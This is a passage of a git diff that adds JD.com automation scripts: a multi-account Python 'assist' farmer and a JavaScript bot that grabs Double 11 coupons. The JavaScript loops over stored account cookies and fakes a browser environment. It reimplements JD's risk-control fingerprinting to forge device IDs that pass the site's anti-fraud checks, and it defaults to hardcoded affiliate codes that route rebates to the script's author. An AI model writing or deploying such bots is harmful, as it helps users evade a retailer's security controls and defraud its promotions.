res['code'] == 200 and res['data']['status'] == 4: + print(nickNameList[i] + '助力' + nickname + ':' + '50个助力完成啦----') + getprize1(mycookie, nickname) + getprize2(mycookie, nickname) + break + elif res['code'] == 200 and res['data']['status'] == 3: + print(nickNameList[i] + '助力' + nickname + ':' + '50已经助力过了') + except: + pass + else: + print('【账号' + nickname + '】请先手动执行下浏览任务') + + +def use_thread(jd15_cookies, nicks, cookiesList, nickNameList): + threads = [] + for i in range(len(jd15_cookies)): + threads.append( + threading.Thread(target=help, args=(jd15_cookies[i], nicks[i], cookiesList, nickNameList)) + ) + for t in threads: + t.start() + for t in threads: + t.join() + + +def start(): + printT("############{}##########".format(script_name)) + jd15_pins = getPinEnvs() + get_jd_cookie = getJDCookie() + cookiesList, pinNameList, nickNameList = get_jd_cookie.getcookies() + jd15_cookies = [] + nicks = [] + for ckname in jd15_pins: + try: + ckNum = pinNameList.index(ckname) + jd15_cookies.append(cookiesList[ckNum]) + nicks.append(nickNameList[ckNum]) + except Exception as e: + try: + ckNum = pinNameList.index(unquote(ckname)) + jd15_cookies.append(cookiesList[ckNum]) + nicks.append(nickNameList[ckNum]) + except: + print(f"请检查被助力账号【{ckname}】名称是否正确?ck是否存在?提示:助力名字可填pt_pin的值、也可以填账号名。") + continue + if len(jd15_cookies) == 0: + exit(4) + use_thread(jd15_cookies, nicks, cookiesList, nickNameList) + + +if __name__ == '__main__': + start() diff --git a/backUp/jd_HongBao.js b/backUp/jd_HongBao.js new file mode 100644 index 0000000..4b29912 --- /dev/null +++ b/backUp/jd_HongBao.js @@ -0,0 +1,2745 @@ +/* +双十一无门槛红包 +cron 0,30 0,12,20,22 * * * jd_HongBao.js +添加环境变量FLCODE 如需自己吃返利,请填写该变量(https://u.jd.com/后面的英文) +* */ +const $ = new Env('抢双11无门槛红包'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +let cookie = ''; +$.shareCode = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}); + +async function main() { + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.UA = `jdapp;iPhone;10.2.2;14.3;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone12,1;addressid/4199175193;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + $.max = false; + $.hotFlag = false; + const flCodeArr = ['yI2pG7N', '3IVMKm8', '3I9UVcJ', '3IXbyRK', '3wVdViu']; + const flCode = $.isNode() ? (process.env.FLCODE ? process.env.FLCODE : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]) : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]; + $.code = flCode; + for (let i = 0; i < 10 && !$.max; i++) { + $.newCookie = ''; + $.url1 = ''; + $.url2 = ''; + $.eid = ''; + await getInfo1(); + if (!$.url1) { + console.log(`${userName},初始化1失败,可能黑号`); + $.hotFlag = true; + break; + } + await getInfo2(); + if (!$.url2) { + console.log(`${userName},初始化2失败,可能黑号`); + $.hotFlag = true; + break; + } + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq'; + let arr = await getBody($.UA, $.url2); + await getEid(arr) + console.log(`$.actId:` + $.actId) + if ($.eid) { + if (i === 0 && $.shareCode) { + await getCoupons($.shareCode); + } else { + await getCoupons(""); + } + } + await $.wait(5000) + } + if ($.index === 1 && !$.hotFlag) { + await $.wait(2000) + await mainInfo() + } +} + +function mainInfo() { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${$.code}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${$.newCookie}`, + "User-Agent": $.UA, + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + } else { + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.code == 0 && res.data && res.data.shareUrl) { + $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' + console.log('助力码:'+$.shareCode) + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +async function getCoupons(shareCode) { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${$.code}%22,%22unionShareId%22:%22${shareCode}%22,%22type%22:1,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${$.newCookie}`, + 'user-agent': $.UA + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.msg) { + console.log('异常:' + res.msg) + } + if (res.msg.indexOf('上限') !== -1 || res.msg.indexOf('未登录') !== -1) { + $.max = true; + } + if ($.shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined') { + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if (res.code == 0 && res.data) { + if (res.data.type == 1) { + console.log(`获得红包:${res.data.discount}元`) + } else if (res.data.type == 3) { + console.log(`获得优惠券:️满${res.data.quota}减${res.data.discount}`) + } else if (res.data.type == 6) { + console.log(`获得打折券:满${res.data.quota}打${res.data.discount * 10}折`) + } else { + console.log(`获得未知${res.data.quota || ''} ${res.data.discount}`) + console.log(data) + } + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getInfo2() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect: false, + headers: { + 'Cookie': `${cookie} ${$.newCookie}`, + 'user-agent': $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if (setcookies) { + if (typeof setcookies != 'object') { + setcookie = setcookies.split(',') + } else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' + } + } + } + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function getInfo1(cookie) { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/${$.code}?s=${$.shareCode}`, + followRedirect: false, + headers: { + 'Cookie': cookie, + 'user-agent': $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || ''; + let setcookie = '' + if (setcookies) { + if (typeof setcookies != 'object') { + setcookie = setcookies.split(',') + } else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' + } + } + } + $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +const navigator = { + userAgent: require('./USER_AGENTS').USER_AGENT, + plugins: {length: 0}, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = {} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + +function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a +} + +function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) +} + +function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) +} + +function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) +} + +function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) +} + +function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 +} + +_fingerprint_step = 2; +var y = "", + n = navigator.userAgent.toLowerCase(); +n.indexOf("jdapp") && (n = n.substring(0, 90)); +var e = navigator.language, + f = n; +-1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || +f.indexOf("windows mobile"); +var r = "NA", + k = "NA"; +try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) +} catch (a) { +} +_fingerprint_step = 3; +var g = "NA", + m = "NA"; +try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); + -1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); + -1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); + -1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); + -1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); + -1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); + -1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); + -1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; + -1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); + -1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); + -1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); + -1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") +} catch (a) { +} + +class JdJrTdRiskFinger { + f = { + options: function () { + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + 